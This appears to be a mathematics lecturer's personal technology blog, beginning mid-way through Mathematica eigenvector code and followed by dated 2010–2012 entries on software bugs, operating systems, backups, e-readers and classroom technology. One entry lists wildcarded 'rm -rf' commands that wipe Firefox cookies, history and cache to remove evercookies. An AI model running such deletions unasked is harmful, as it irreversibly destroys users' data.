{0, 0, 0, 0, 0, 1, -1, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 1, -1, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 1, -1, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 1, -1},
{-1, 1, 0, 0, 0, 0, 0, 0, 0, 0},
{0, -1, 1, 0, 0, 0, 0, 0, 0, 0},
{0, 0, -1, 1, 0, 0, 0, 0, 0, 0},
{0, 0, 0, -1, 1, 0, 0, 0, 0, 0},
{1, 0, 0, 0, -1, 0, 0, 0, 0, 0}};
A1={{0., 0., 0., 0., 0., -1., 0., 0., 0., 1.},
{0., 0., 0., 0., 0., 1., -1., 0., 0., 0.},
{0., 0., 0., 0., 0., 0., 1., -1., 0., 0.},
{0., 0., 0., 0., 0., 0., 0., 1., -1., 0.},
{0., 0., 0., 0., 0., 0., 0., 0., 1., -1.},
{-1., 1., 0., 0., 0., 0., 0., 0., 0., 0.},
{0., -1., 1., 0., 0., 0., 0., 0., 0., 0.},
{0., 0., -1., 1., 0., 0., 0., 0., 0., 0.},
{0., 0., 0., -1., 1., 0., 0., 0., 0., 0.},
{1., 0., 0., 0., -1., 0., 0., 0., 0., 0.}};
G0=Eigenvectors[A0]; n0=Length[A0]; l0=Eigenvalues[A0]
G1=Eigenvectors[A1]; n1=Length[A1]; l1=Eigenvalues[A1]
Chop[Table[Max[N[Abs[A0.G0[[k]]-l0[[k]] G0[[k]]]]],{k,n0}]]
Chop[Table[Max[N[Abs[A1.G1[[k]]-l1[[k]] G1[[k]]]]],{k,n1}]]
A remedy is to avoid the "Eigenvector" routine entirely and using "Eigensystem", where the inconsistent behavior is absent. In other words, use "Eigensystem[A][[2]]" instead of Eigenvectors[A].
{l0,G0}=Eigensystem[A0]; {l1,G1}=Eigensystem[A1];
Chop[Table[Max[N[Abs[A0.G0[[k]]-l0[[k]] G0[[k]]]]],{k,n0}]]
Chop[Table[Max[N[Abs[A1.G1[[k]]-l1[[k]] G1[[k]]]]],{k,n1}]]
Strictly speaking, the behavior is not a bug because the routine "Eigenvector" does not claim to list the eigenvectors in the same order than "Eigenvalues". But it is cruel for the user (and I lost at least a day of work and almost my bearings finding this because I expected the error to be in my own programs). The order mismatch is rare. It appeared here because Dirac matrices have lots of symmetry. By the way, the matrix A0 is the square root of a doubled Laplacian. I had dealt with such Laplacians in my thesis already, where it was shown that every Jacobi matrix can be factored L=D2+c with an other Jacobi matrix D. Iterating the construction led to almost periodic operators with spectra on the Julia set of the complex map f(z) = z2+c.
24-08-2012: A survey on technology in higher education.
11-06-2012: I could see a demo and then try it out myself: the Microsoft surface at Cabot library. It is unbelievable that this screen only has a 1920x1080 pixel resolution! Additionally, the system is very closed. One can only access Bing image and maps and built in documents and there is even no webbrowser. Compare the resolution with the latest Mac book pro announced today with 2880-1800 resolution. The screen resolution of PC laptops and monitors (like 1920x1080) becomes more and more questionable. One has a hard time to find a decent high resolution monitor which does not break the wallet).
07-06-2012: Strange how several things can fail at once. A 2 year old solid state drive at home started to fail. At first, only temporary glitches appeared, with files starting to disappear, programs stopping in strange moments, evenso the system was up, finally more and more segfaults. Simultaneously, also the graphics card started to choke up and a hard drive cable to a regular HD failed too. With different things failing, then its harder to debug. Things are of course always linked. For example: when trying to debug a drive, cables are moved and checked, drives are changed: these manipulations can damage an other, previously healthy cable. Related: Ubuntu installs the bootloader by default on a different drive. Its better to use a custom installation, then make sure that both the bootloader as well as the OS are on the same SSD drive. Its easier to debug in case of drive failures. With a separate setup, one can for example unmount a drive and analyze it.
06-06-2012: Whiteboard on the ipad is also nice to use because it allows to from the ipad to see flash content (the host computer has the flash plugin). Unfortunately, if using in an university setting, one can make a local network but then not use the web. Splashtop streamer does not go through the Harvard wireless (maybe by purpose since thats a big bandwith hog).
01-06-2012: The Harvard IT summit was nice and well organized. Anand Agraval talked about edX and demonstrated an electronics course, which has 120 thousand students enrolled. Of course, the drop out rate is high, only 10 K took the midterm. Summit Handouts.
10-05-2012: Cool. The Harvard bookstore allows now to do print books. Featured in Forbes. Despite the fact that electronic books come more and more, there are advantages of real books. I do not always finish reading an electronic book. The attention span is smaller. Could well be that real books and electronic books continue to coexist. I personally like to have both the electronic and real version, the electronic version more is especially convenient for searching things.
05-05-2012: A cool theorem generator and Snarxiv.org preprint archiv and Philosophy of the day.
05-03-2012: Larry Gonick, who just published a Cartoon guide in Calculus talked yesterday at Harvard. He showed lots of cartoons, also from other cartoonists like the Mexican cartoonist Rius and others as well as older stuff of his. Larry Gonick had been a Harvard math concentrator but did not graduate. It became apparent that Gonick's contribution to make science and history more accessible is invaluable. He might achieve more with with his comics especially chemistry, biology or technical cartoons than any standard textbook and can make complex things accessible to a larger audience. One of the questions which came up was how cartoonists can finance themselves. Gonick had been lucky to have some mentor ship by Jacqueline Onassis. Gonick seems to believe that not only newspapers, but also books are doomed and that authors might have to to turn back to get sponsored as it happend in the past. Gonick might actually prove otherwise with his own work both for newspapers and books.
19-01-2012: Just tried out iBooks author. I find it even easier to use than pages, which sometimes produces layout difficulties. Whether this will change the textbook remains to be seen. The fact that everybody can make music with Garageband has also not necessarily changed the way music is consumed. Its nice that one can now easily build books for the ipad with interactive media. Will be great for the classroom. [Update Jan 23, 2012: each page has to be worked on in landscape and portrait mode. This can lead to some frustration because the layout needs to be done twice. The page layout is a bit quirky. Changing things in landscape mode can have unexpected consequences in the other mode. ]
21-12-2011: A good article in Stanford Law Review about SOPA. Despite an apparent stall, warnings from law experts, business scholars, engineers, commedians, founders of internet companies, bloggers, there will be a special session today.
11-11-2011: With Adobe Flash retreating and Silverlight dying [I use Silverlight only for netflix and it starts having problems in OSX. Plugin problems are an early indication of trouble. Remember Realaudio], the question whether to switch to HTML 5 has become more prevalent. I maintain a math movie pagewith currently 4 Gig of movie files) and rhetorik, where movie files contribute the bulk of the currently 40 gig of hosted material. While the conversion is trivial technically and can be done as a batch job using ffmpeg (like ffmpeg -i file.flv file.mp4; ffmpeg -i file.flv file.ogg), the conversion to HTML5 would triple the space. HTML5 does still not work everywhere and a flash backup is needed. Problems remain for various operating system and browser combinations, especially in linux, where sound problems with ogg or mp4 files are still common even with fresh installations of the newest Ubuntus. But the major issue is space and so hosting bandwith. On a page with a few dozen movie files, the question is of course not relevant. Switching to HTML would mean tripling the hosted space (because mp4,ogg and flv files need to be created additionally to the native source files which are quicktime files in my case). Because websites as well as workstation need to be backed up and the "video technicians" work space contains a multiple of the actual hosted page (For rhetorik.ch, I collect about 20 Gig of media files per year in average the last couple of years), a switch to HTML 5 could mean that 2 TB Hardrives are no more enough. To summarize, a switch to HTML5 would cost not only more work and a couple of hundred bucks more per year in order to work reliably. The additional costs come since harddrives need to be replaced regularly for reliability purposes, regular backup on media which are no more overwritten need to be created and stored externally. Add costs could become even higher with hosting band with tripling. There is no doubt that switching to plug-in free videos will be the future but the lack of a standard forcing several parallel implementations makes it still impractical if time and money budget constraints are present and the websites are reasonably large.
11-2-2011: Examples where UI simplifications went too far: 1) In many applications like Preview in OS X Lion, it is no more possible to "Save as". It has been replaced as "Save a version". Fortunately, there is still the command line. 2) Unity in Ubuntu: I agree with most critics that it has become so much dumbed down that it has become unusable. Windows often can no more be resized as usual for example, after opening a terminal from the doc, a second terminal would not open. Getting to applications is too complicated. Fortunately there are other windows managers like blackbox or fluxbox. 3) Firefox application handling: it is no more possible to edit freely how applications are handled. The option "Save as" has disappeared for many entries like for "apt", where it is assumed that one would not want to save a .deb file. 4) Unlike in "OS X Snow Leopard", in "OSX Lion", even third party screen capture programs can no more access screen buffers while iDVD is running. It forces the user to rip the DVD first.
20-09-2011: The upcoming Kindle Fire will be fast but having all data going through Amazon's servers raises concerns. The "mighty Amazon proxy" can still be turned off. Unlike a proxy or internet provider, Amazon will store web addresses, IP and Mac addresses and store also the website temporarily on their local servers.
24-09-2011: Strange: I can access some files from home but not from the Harvard network (nor could my students). No local .htaccess files are in place. The only explanation is that certain folders are filtered. After copying over the "hourly" folder to exam1 folder, the files become accessible. A similar thing had takes place for "homework". More details here.
06-09-2011: A video giving a glimpse about Color E-Ink technology for electronic textbooks in the future. One of the problems today with E-ink is that documents with lots of details like in mathematics or sciences are not suitable yet. This will change.
04-09-2011: An interesting article in the NYT shows interactive whiteboards in the Kyrene school in Arizona. "The digital push here aims to go far beyond gadgets to transform the very nature of the classroom, turning the teacher into a guide instead of a lecturer, wandering among students who learn at their own pace on Internet-connected devices." My own take to this: as the history of teaching with technology have shown: pilot projects do not say anything. Pioneers are always especially motivated and want their projects to work and justify the investments. Its always a "huge success". Whether the concept works on a wide level is not clear. A major obstacle is that teaching with technology in a classroom where students go about in their own pace is challenging for the teacher. There is a risk to lose focus, missing preparation and less commitment to reach minimal goals for every student. We have also learned from the past that once the "coolness factor" is over, many technologies can produce aversion, especially if they are used in a wrong way or overdone. This happened with calculators, overhead projectors, powerpoint presentations or with clickers: in the case of calculators, teachers started to focus on the graphing calculator itself whose use remind of cellphones before smartphones came in, in the case of presentations, students would just copy paste information from the web into powerpoint and teachers recycle overhead slides or powerpoint presentations from other teachers or previous years. In the case of clickers, the technology would be used for class attendance or to evaluate students. I myself think that the future is in using a large variety of tools and methods. Experiments as described in that NYT article are extremely valuable. Technology wise interactive tablet like "white boards" will certainly become part of any classroom in such a way that every wall can morph either to a blackboard or a monitor or interactive white board where interactive "aps" can run.
10-07-2011: The new feature "Versions" on Lion can grab a lot of disk space. Once close to the hard drive limit, there is no rescue anymore and the user is pushed over the abyss. The warnings come too late. Even deleting 10 Gig does not help anymore. A reboot is necessary. I constantly fight with disk space on my "macbook air" and walk a dangerous line. While preparing for a review summer school (where keynote files can be several gigabytes large), I lost the work of an evening because all "versions" were gone. [Unchecking "Restore windows when quitting and re-opening apps" in System Preferences/General solves the autosave issue.]
07-07-2011: An interesting article on grading. It reports on experiments to replace grading by teaching staff by "evaluators" or robots. Separating the grading from teaching staff is also an attempt to fight grade inflation. "Western Governors" mentioned in the article is an online university where things are more geared towards technology. In my experience, exams which are "computer gradable", still tend to be poor, uninspiring and need substantial authoring effort to be effective. Already in mathematics, we can see during the grading phase that students have come up with innovative ideas and angles which were not anticipated. A machine would overlook them or grade them wrongly and nobody would notice. Other challenges with online examinations is to assure that the exam is taken without external human or technological help. Tests which are easily to grade tend also to be easy to beat with technological help: in the simplest case just enter the question into a search engine.
05-08-2011: While grading mathematica projects and rendering some of the graphics, I could confirm what students tell me: Mathematica 8 can runs out of memory, even with modest graphics jobs. Crashes come without warning and are especially annoying if one uses the front end because work gets lost. I personally do not use the Mathematica "front end" most of the time and have access to machines with up to 24 Gig of memory so that I can often avoid the problem. On the feature side and coolness, Mathematica has made lots of progress graphics can be gorgeous. Mathematica 8.0 still needs more stability. Even with 8 Gig of RAM things can crash more than Mathematica 2.0 back on my NextStation with 8 Meg of RAM.
03-08-2011: Mathematica theoretically should be able to access mysql servers. Needs["DatabaseLink"]; JDBCDrivers["MySQL(Connector/J)"];
Does not work for me: (JDBC:error: Communications link failure). Its easy however just to extract the tables from mysql with Perl and write them out in a form which is readable by Mathematica.
31-07-2011: I added DuckDuckGo as a remedy to avoid the search engine bubble.
29-07-2011: I tried out the "Ubuntu one" cloud services. I do not use desktop tools like nautilus so that command line sharing is the only option. One has to install u1sdtool and type
u1sdtool --list-folders
u1sdtool create-folder /home/user/list/to/directory
to shares the directory. "Ubuntu one" is not yet available on OSX however.
28-07-2011: After using Lion for more than a week, the biggest nuisance is the sluggish "Preview" application, both for opening and closing large documents as well as scrolling through them. Opening or closing can take minutes - unbearable. I suspect that "versions" is the culprit. Besides Quicktime, Preview is one of the reasons, I use the Mac regularly. "Preview" allows to rearrange, copy paste and orient movies or PDFs. Lion also by default starts previously open applications after a reboot. [update September 4, 2011: as mentioned in heise article
defaults write com.apple.Safari ApplePersistenceIgnoreState YES
defaults write com.apple.Preview ApplePersistenceIgnoreState YES
defaults write com.apple.Keynote ApplePersistenceIgnoreState YES
solves this. It seems that the reason for start-up lags is often that the application does not find old documents any more and searches for them. This is for me often the case because the laptop is only used for temporary work. ]
22-07-2011: The google logo from today writes the PNG data directly into the style file and allows so to animate it. Here is the picture only. Look at the source.
20-07-2011: I installed Lion on two computers. Instructions on how to get a bootable USB stick are everywhere. The installation with the USB drive on the Mac Air was actually faster than on the much mightier iMac (using the native installation). Lion is much snappier than Snow Leopard (with the exception of "Preview" which can lag, probably due to "versions". Latency is the worst enemy of a good user experience. Some applications do more work: Graphing calculator and the 360-com unwrapper or 2004 Microsoft Excel, Word and Powerpoint. Good riddance for the later. The Lion installation ate 3 additional Gigs on my already maxed out mac air. I could not turn off legacy file vault for example. [Update July 21: without having to ask I got a copy of Graphing calculator 4.0 by mail from pacifict.com. Nice.] [Update July 22: after upgrading developer tools which I always need (I use "make" for almost everything for example). On my "macbook air" with only 64 gig, "Lion" devoured in total 6 gig even after deleting the XCode installation and the /Developer directory. Since I use the laptop only for temporary work, sync the necessary folders forth and back from my linux box but Keynote presentations and music files gobble up pretty fast the available user space. It is clear is that my next macbook air will have 256 Gig.]
13-07-2011: After the drop box EULA disaster, a good summery over some cloudy cloud issues. Beside ownership issues and risks, the cloud services I had tried out also only work well with small amount of data but suck with more. A few hundred or maybe thousand files work well, but that is nothing today. An other issue which will slow down these data services are cable provider bandwidth caps. Legal, reliability, bandwith reasons will be a big obstacle also for the google chromebook adaptation. Additional to latency issues (see July 5 entry).
05-07-2011: Funny that my battery problems of my ipod touch disappeared after a recent jail break. Apple should definitely add a preference entry to remove multitasking. I in general try to run as many processes as possible on any computer. Sometimes this is important like with huge Mathematica jobs (even in Linux) jobs which are notoriously memory hungry. On the ipod touch, I prefer to have one process at a time. It is the fractions of seconds of delays in a program which drive the user nuts. Latency is a big stress factor. Thats why I use linux, lean windows managers, solid state drives and remove any processes which are not needed.
27-06-2011: Changed my homepage from Google to Yandex. The black navigation bar is too ugly to bare. Its strange, how little things can annoy but with a black desktop background, the browser showing the google main page appears to be cut in two.
27-06-2011: I Bought one of the new cheap Nooks. PDF reading does not always work well, especially if files have been written in latex and contain mathematical content. Font size, line break issues. Also not all pictures appear. As a text reader however, it is terrific. When hooked up by USB, the nook can be accessed as a drive. Also the fact that documents can be loaded onto Micro SD cards is nice. With 32 Gig, I can put all the book PDFs onto it. Unfortunately, most books are in DjVu format and there is no luck with that. Would be nice if one could put content onto it wirelessly. Also nice would be a program which would trim PDFs so that they read nicely on the nook, possibly cut away stuff which do not render well.
22-05-2011:
15-04-2011: I'm not a friend of "cloud" stuff (yet), but since more and more around me use dropbox, I had to try it. Security issues with dropbox are a big issue for me. In that respect Wuala is better. It had originally been developed at my alma mater ETH. The name comes from "Voila". Similarly as in Dropbox, one can copy or sync files into the shared folder. Some issues: in linux, if wuala does not run and "ls" is done, then a message ls: cannot access WualaDrive: Transport endpoint is not connected appears. One can get rid of this with fusermount -u WualaDrive. Both in linux as well as OSX, the mounted javafs can produces some user lag on the command line. Wuala still needs to reduce its footprint. Still, having everything encrypted on the client side is essential and the only option for education similarly as for health care. A third party outside the university should not have access to student, patient or research data.
03-04-2011: Academic use of Social media, May 3, 2011
16-04-2011: An example of a Prezi presentation by Alison Blank. The idea is good but I doubt it will replace powerpoint. The problem with nonlinear presentations is that one can easily get lost. A nonlinear mindmap structure is nice to organize topics and for good speakers like Chris Anderson who seems be assisted during the talk in running the nonlinear presentation or has linearized the presentation for the talk.
15-04-2011: The ears PRS looks very promising. Some questions of Brian Lukoff used in my 1a class.
22-03-2011: I use several backup layers under linux (while working, with flashback, half daily full backups done on internal backup drives by cron, sync with different machines several times per day, weekly long time backups on different drive. But then also "write only backups" on harddrives which are encrypted and stacked and regularly sent out of town. It was still possible to lose data: just before spring break, I had been writing a handout for a course and later in spring break, I noticed that the file had been overwritten by an other file (I must have copied a template to the wrong place at some point and not noticed for several days). At the time when the problem was noticed, all shorter term backups had been overwritten, and longer term (read only) backups had not yet kicked in. I had lost the handout. At the time, when I noticed the problem, the 5 existing backups layers were all overwritten. Fortunately, I had a printout, since it had been given to the class already before the spring break and I could just retype it. But it was annoying. That day, I bought an additional 4TB drive, attached it to a mac by firewire and now backup part of my linux box on the mac, where OSX keeps old versions with time machine. I hope TimeVault (which is still alpha) will mature soon.
12-01-2011: A google group discussed some strange behavior of the Mathematica function Clip. Run this and you will see. I defined my own function Clip1 to illustrate it
Clip[1.00000000000000036]
Clip[1.000000000000000360000]
Clip1[x_]:=Sign[x]*Min[Abs[x],1]
Clip1[1.00000000000000036]
Clip1[0.9999999999999966]
Clip1[0.9999999999999966000]
There are confusing things going on in Mathematica with respect to accuracy. In the second last example, the result should be rendered at least in the same accuracy. All involved functions Sign, Min and Abs should be implemented in arbitrary accuracy. They only refer to order and sign.
23-12-2010: The google logo of today is based on the prototype library. It is a nice Javascript example.
21-11-2010: The new iOS 4.2 update for the ipad is great. I love to keep the book applications open (Djvu reader, ibooks and Goodreader for me). Like everybody else, the screen lock change is the only sour grape in that update. Now one has to do four steps: double tap the main button, swipe left and tap the screen lock button to switch and then tap again to get rid of the multitask bar. Its clear what the ratio is behind this change: to keep things uniform across all devices. Still a bad change, evenso I will get used to it.
20-11-2010: I have tried several note writing applications for the ipad. Each of them has advantages and disadvantages. The most recent I tried was Helvetinote, where I like that one can customize the background and also type text. It exports the notes as bitmaps and each note is only one page. Like Adobe Ideas it has a slight lag in drawing. A cloud-based note-taking-software like Evernote is not an option for me and will never be. I still like very much Penultimate which emails the notes as PDF and allows to write smaller booklets of notes. Update December 24: helvetinote became sluggish with the 4.2 update of iOS. To the point that it is almost no more usable. It also has the drawback that it does not allow backtracking. I like however to write on a black background like on a blackboard. Penultimate is still my favorite and I use it for gathering mathematical ideas or smaller computations. For more serious computations, I still prefer paper and pen.
16-11-2010: This fascinating article illustrates the limitations of online education, online grading, or the reliance on projects or papers to evaluate students. Globalization is also present on the grading part. The next step are AI tools which write papers or thesis automatically from a theme. The ultimate Turing test is to build a bot which can write a PhD thesis which passes a serious theses committee. Further down the line, bots which write research papers which get accepted in peer reviewed journals ... refereed by ghostwriter bots of course. [Update Mai 1, 2011: see a calculus lecture on artificial intelligence]
01-11-2010: The limitations of Mathematica to do scientific computations become more evident when using it on a cluster like Odyssee, where things naturally have to be parallelized. When submitting several dozens of jobs in parallel, some do not finish because of licence restrictions. I can live with other restrictions like that one has to have a graphical user interface to export graphics, but the licence restrictions seriously impact what one can do.
31-10-2010: As a die-hard VIM user, I love vimperator as an add-on for firefox. Already the ":wq" to quit the browser and start at the same spot next time, or ":history" is worth the add-on. I still have an entry set guioptions+=BmT in .vimperatorrc to see bookmarks, menu navigation since I'm not that die-hard. Update: November 11, 2010: I disabled the add-on again because it slowed down the browser. Almost unnoticably, but enough to get me annoyed. Anything (whether application or operating system) which slows me down in tasks I do thousands of times a day, is unacceptable. Even milliseconds add up.
30-10-2010: I tried out a few dozen qwikis today. Some math examples. The service "stands on the shoulders of giants", uses Wikipedia and images delivered from search engines like Google. Louis Monier, one of the qwiki founders and former Altavista and Babelfish founder, who had failed to get bought by google with "cuil". I have no doubt that the goal of qwiki will be to get swallowed up by google. It will need a lot of work to produce a search engine which produces multimedia. The start looks easy: grab the first paragraph from the wikipedia article, and read by the computer. Then grab some pictures from search engines and glue them into a slide show. Pack everything together into a movie and deliver it. See Monier at a demo.
25-10-2010: In the latest firefox builts, WebGL finally works nicely in linux. The Lorentz attractor, Game of life, Mandelbrot zoom or Wave dynamics are good examples. Its nice to show math directly in javascript without Java applets or flash.
15-10-2010: I tried out an external USB3 drive in linux. Since I have both USB2 and USB3 adapters, the last two timings in these measurements use the same 1TByte hard drive. USB3 is 1.5 times faster and reaches almost the second internal Sata drive performance. Details: FreeAgent GoFlex 1 TB USB 2.0 Ultra-Portable External from Seagate, FreeAgent GoFlex Upgrade Cable USB 3.0 - STAE104 from Seagate, USB 3.0 PCI Express 2-Port Interface Card IFC-PCIE2U3 from Buffalo. I wonder now, how reliable USB3 is, when attached over months. (Update of November 5: Why does apple not go USB3? The reason could be LightPeak, which promises to be significantly faster.)
11-10-2010: Evercookie uses standard cookies, flash cookes, web history,etags and 4 new HTML5 storage features (session, local,global, database). It is mentioned in a recent NYT article that these supercookies are difficult to delete. In firefox, I get rid of Flash cookies with rm -rf ~/.macromedia/Flash_Player; (in OSX, /Library/Preferences/Macromedia replaces .macromedia) Purging the recent history from the tools menu still leaves the pngData and sessionData. The later can be removed with rm -rf ~/.mozilla/*/*/webappstore.sqlite; For me in Firefox 3.6.10 in Ubuntu, deleting recent history and executing rm -rf ~/.macromedia/Flash_Player; rm -rf ~/.mozilla/*/*/*Cache; rm -rf ~/.mozilla/*/*/history.dat; rm -rf ~/.mozilla/*/*/downloads.*; rm -rf ~/.mozilla/*/*/cookies.*; rm -rf ~/.mozilla/*/*/webappstore.*; removes all traces of an evercookie. Removing Flash and DOM (HTML5) storage will hopefully be doable from within the browser but a small script can in the mean time do that too.
21-09-2010: There can be problems when accessing a mailbox both with the good old "mail" program as well as with "imap" clients like the apple touch or ipad or webmail. While "pine" nicely updates the "X-IMAPbase" this is not done in "mail". This has the effect that mail appears on the iMap email client even so it had physically been deleted. "Mail" does not update X-IMAPbase entries. But maybe I'm the only one still using it.
15-09-2010: The New York Times has a nice Exhibit on technology in the classroom. There are some good articles in that magazine. The exhibit could be completed a bit. See the slide in a talk of of mine of 2007. What is missing are VCR's, slide projectors, book projectors, and of course computers for Powerpoint presentation
07-09-2010: As of this morning, the google logo demo features a cool particle system. It illustrates the power of Javascript. I had made some experiments with differential equations in the browser in 1999-2000. Back to the Google systems: I did not manage yet to extract the minimal code for Google particle animation and keep it working. Here are the files with which it still works: index.html [TXT], 1.js [TXT], 2.js [TXT]. The particles are attracted to their given initial position which in the example have changed. (I deformed this part on September 8 using Mathematica). Here is the core of the Google animation.
05-09-2010: I tried out Ubuntu 10.10 on a virtual kvm machine today. I will most likely keep 10.4 with long term support but it is interesting to see whats brewing or maybe even help to find some bugs. 10.10 works well so far for me except that not all updates go through yet.
05-08-2010: Google wave seems have crashed. In October 2009, I had felt that the problem with wave would be social, people do not like to have their communications stored and monitored. It seems that complexity was also an issue: it slowed user adoption as well as developer drive. Lack of stability was the definite killer.
01-08-2010: I transfered also on my office machine the operating system onto a solid state drive. I usually start fresh and from scratch with the OS installation and Ubuntu makes this now pretty painless. I usually replace drives anyway every 1-2 years, so this was a good opportunity to double space (1T -> 2T) and get a snappier machine with SSD. I'm now on all my linux machines on ext4, which also make a difference, for example, when dealing with huge number of files in a directory.
22-07-2010: I started to use iBooks to read books on the ipad. Syncing over is still a pain: one has manually to drag the books into iTunes, where the files sit awkwardly in a folder ~/music/iTunes/iTunes Music/Books as if Books have to do with music. ` Files which are rsynced or copied with sftp to that folder do not appear in iTunes. One can also not drag entire folders into iTunes. There is a lot of room for improvement: PDF's are mostly OCRd now and metadata could be included automatically. Including DjVU reading capability would be nice. The page buildup is still a bit slow in PDF. iBook pages appear unsharp at first. What I like: the library style presentation of the books in a bookshelf and the tiny preview of the pages at the bottom of the book. iBooks is not yet an alternative for good reader.
09-07-2010: I got my new machine at home. The thinkmate workstation is perfect: clean, fast and the setup finished quickly (faster than a mac). I can easily retire the 5 year old Dell which was sucking about twice as much power and was much too loud.
02-07-2010: It is a good thing, the variety of browsers. Firefox, Chrome, Safari, Opera and of course IE. Chrome has an impressive performance. I keep Firefox, because it is the only one which is independent of a company which could in principle control the web. I in general dislike any ideology in technology but the web is too important.
17-05-2010: The old ncd.math.harvard.edu computer which I had bought in 2000 as my first office computer is now retired. The machine which is attached to a webcam is now a small ZOTAC MAG HD-NS01 computer with an Atom230 CPU, which is not larger than a book. It runs now Ubuntu 10.4 which installed well from a 8 gig flash thumb drive. [ By the way, if you install Ubuntu 10.4 from a flashdrive, copy the install CD onto the drive and install from there, netinstall options or bootstrap methods did not work for me with 10.4, the installer would fail in the middle because some files could not be fetched. Could have been temporary problems but even if it would work, there is much more work to setup the machine. The default installation does everything right. It is obviously better tested than any other installation method.] Accessing the BIOS of the ZOTAC was a bit a pain: you have to hit the Delete key fast and a lot during the boot process. I'm not the only one who had this problem. The machine is surprisingly strong. No problems also with the graphics card. Compiz has no problem. ] The relatively expensive Axis network camera, which had worked for 10 years (and still does), is replaced by a much cheaper BL-C1A Network camera, which works quite well. Both the camera as well as the computer prizes have gone down by a factor 4. In retrospect, the simplicity of the setup has payed off. Both camera and computer were very reliable. The machine had been essentially untouched the last 6 years. Failures were either due to somebody touching the cable (which is near the blackboard), or (as has happened the last month), that web access had been filtered to all machines except the main server on the math department. ncd3 was always completely locked off by firewalls. Web access is never to the camera because the computer grabs the pictures and feeds them using a reliable apache server. To further make the machine less vulnerable, access to the computer happens only by terminal. Since no maintainance is needed, this is not a problem.
13-05-2010: We are finally entirely Gigabit networked at home. Routers and switches are so reliable nowadays that I do not replace them often. The last gear I had was now 5 years old and still worked (but it was still 10/100MBit). The old Netgear Prosafe VPN, and Netgear FS608 are now replaced by a Netgear WNDR3700 Gigabit router with a Netgear Prosafe 8 port gigabit desktop switch. The newer router also made wireless faster, more secure and more stable than the Verizon default router. (Especially the iPad has had occasional problems with the older one). The new router also allows USB storage but I prefer Unix machines with external hard drives. The later is faster and more secure and of course more convenient for somebody who uses rsync for essentially all file transfers.
22-04-2010: Here is an other indication that the N[] routine in Mathematica is faulty. The following lines produce an overflow:
M = 100; T[x_] := N[4 x (1 - x), M]; x=N[Pi/4,M]; Do[x=T[x],{200}]
Interestingly, the Mathematica 5.1 kernel still gives an underflow error. This bug is absent, if N[] is not given a second argument. This is especially troubling because when computing with algebraic numbers, the N[] routine is screwed without a second argument. I hope that instead of throwing out a Mathematica 8.0, the next edition will be named 7.1 and fix the N[] routine. It makes numerical computations with Mathematica untrustworthy. Computing a list shows that accuracy is lost until 0 is reached but with a large exponent. While logistic map used is extremely chaotic (conjugated to a Bernoulli shift) and already after a few dozen iteration the result is numerically unreliable. But it should not happen that a computer algebra system ends up with terms like 0.*10614 leading to overflows.
11-04-2010:
 While preparing for a lecture tomorrow, I'm so glad to have still an old Mathematica 5.1 kernel hanging around. Newer Mathematica implementations have serious issues. Take this code for example (which is more than 17 years old and worked with earlier Mathematica versions fine). With Mathematica 5, things are nice and dandy. Mathematica 7 dies due to Memory issues. With smaller PlotPoint parameters the code runs no more because the color function implementation have changed. When changing it to ColorFunction -> "SunsetColors". it works, but only in a GUI interface. When run from the command line, the picture is gray. Now, when running it in a Mathematica notebook interface, an exported Postscript file is so large that one has to replace it with a bitmapped version and then convert it to be included in a text which is printable. All these problems: Dependence on a windows manager, no batch computation Huge Postscript export files almost breaking modern printers Color map problems which depend on notebook interface Large memory requirements even for basic stuff Long computation times when exporting graphics were absent in Mathematica 5.1. I still keep that kernel. The above Julia set computation of a Julia set ran faster on my old Next (8 Meg of memory, 25 MHz) with Mathematica 3 than on a newer machine with Mathematica 7 (3 Gig of memory, 3 GHz).
10-04-2010: Here is how to sync a directory with electronic books (PDF's) with goodreader on the ipod or ipad: start the file transfer server within goodreader (the wireless sign at the bottom of the page on the home screen of goodreader). From an other computer (I use linux and have a folder /tmp/downloads) type:
This copies any missing files from the "ebooks" folder to the ipad. Syncing from a mac slightly more complicated if not done from the command line: network mount the address like http://192.168.1.4:8080 using "Go: Connect to Server". Then hardlink the network folder with a real folder
so that one can rsync any content onto that folder. Now sync in the same way. Rsync of course nicely preserves any directory structure, only updates what is new and works well with thousands of files and dozens of gigabytes. This is nice for Unix minds like me who give short possibly ambiguous names to books like Sinai1980.pdf but which belong to a directory like ebooks/Math/Dynamics/Sinai1997.pdf Having the same directory structure on the ipad than on the desktop helps of course too. Since I forgot to filter out HTML files first when syncing, there is a cool additional benefit: the webbrowser interface, I have in each directory for electronic books goes over to the ipad, so that I have a nice bookshelf type interface also there. It is not as cool as in ibooks or or the "classics" application on the ipod touch. You see to the left a small snapshot of my "electronic Rheinfall library".
06-04-2010: Devices like the iPad can change academic life completely since entire libraries which would fill large rooms fit now into a small device, which is readable on a similar comfort level than the real thing. I finally figured out how to rsync my library with the ipod or ipad (using goodreader). I have had some problems in that rsync would not work with networked folders.
05-04-2010: Papers for iPad is nice too. It allows to sync the documents with iTunes. I would not like it for books. Syncing with itunes is a nice feature but apple does not allow to feed there entire folders. Anything which needs manual care is not an option for me. Still, the application is nice since it allows easily to search for material on arxiv and other repositories and include the articles nicely. "iBooks" for ebooks, "Goodreader" for PDF's, "Papers" for managing research papers, that seems like the optimum right now.
03-04-2010: After playing with the ipad for a few hours, here is my top list of applications which shows the potential in an educational setup:
• Good reader. Nice to orgnize PDF's, for example from the web or uploaded from the computer via sftp.
• Space time. A decent computer algebra system. A bit pricy but not bad. I would prefer to have a local Mathematica application. (Cloud computation like Wolfram Alpha is not an option for me).
12-03-2010:
 I'm clearing out space by scanning books. It is a rough method and kills the physical book. I use a small swiss army knife to cut the book a few millimeters away from the glue. As you can see this is fast, faster than a paper cutter. The book does not die; it survives in electronic form. I scan with 1200 DPI. It takes only moderate amount of my time. Most of my time is spent to oversee things and refill the paper in the scanner. The scanner works while I do other things. The OCR text recognition can take up hours per book but again, I can work on other things while the scanner does the work. After scanning, I reduce the size with Acrobat Pro to about 1/10'th to 1/30'th of the size. A three hundred page book with pictures can become 10 Megs. Proofreading the book can take an other 5-10 minutes. I only throw away the book after it is clear that all pages have been scanned nicely. I have scanned for example my old "Hoehere Analysis" book by Hans Triebel from my study years. It has 704 pages under 25 Meg as PDF and 15 as Djvu. The later becomes my favorite format, because the Djvu readers are better, the files are smaller and because one can annotate and edit the underlying OCR'ed text easier. After a quick proof-read that all pages have been scanned and oriented (I use OSX Preview for adjustments and to include eventually missing pages by dragging them in), I trash the book. The aim is to get a hundred books digitized in the next couple of weeks (2-3 every evening) to make space for new, real ones. Its 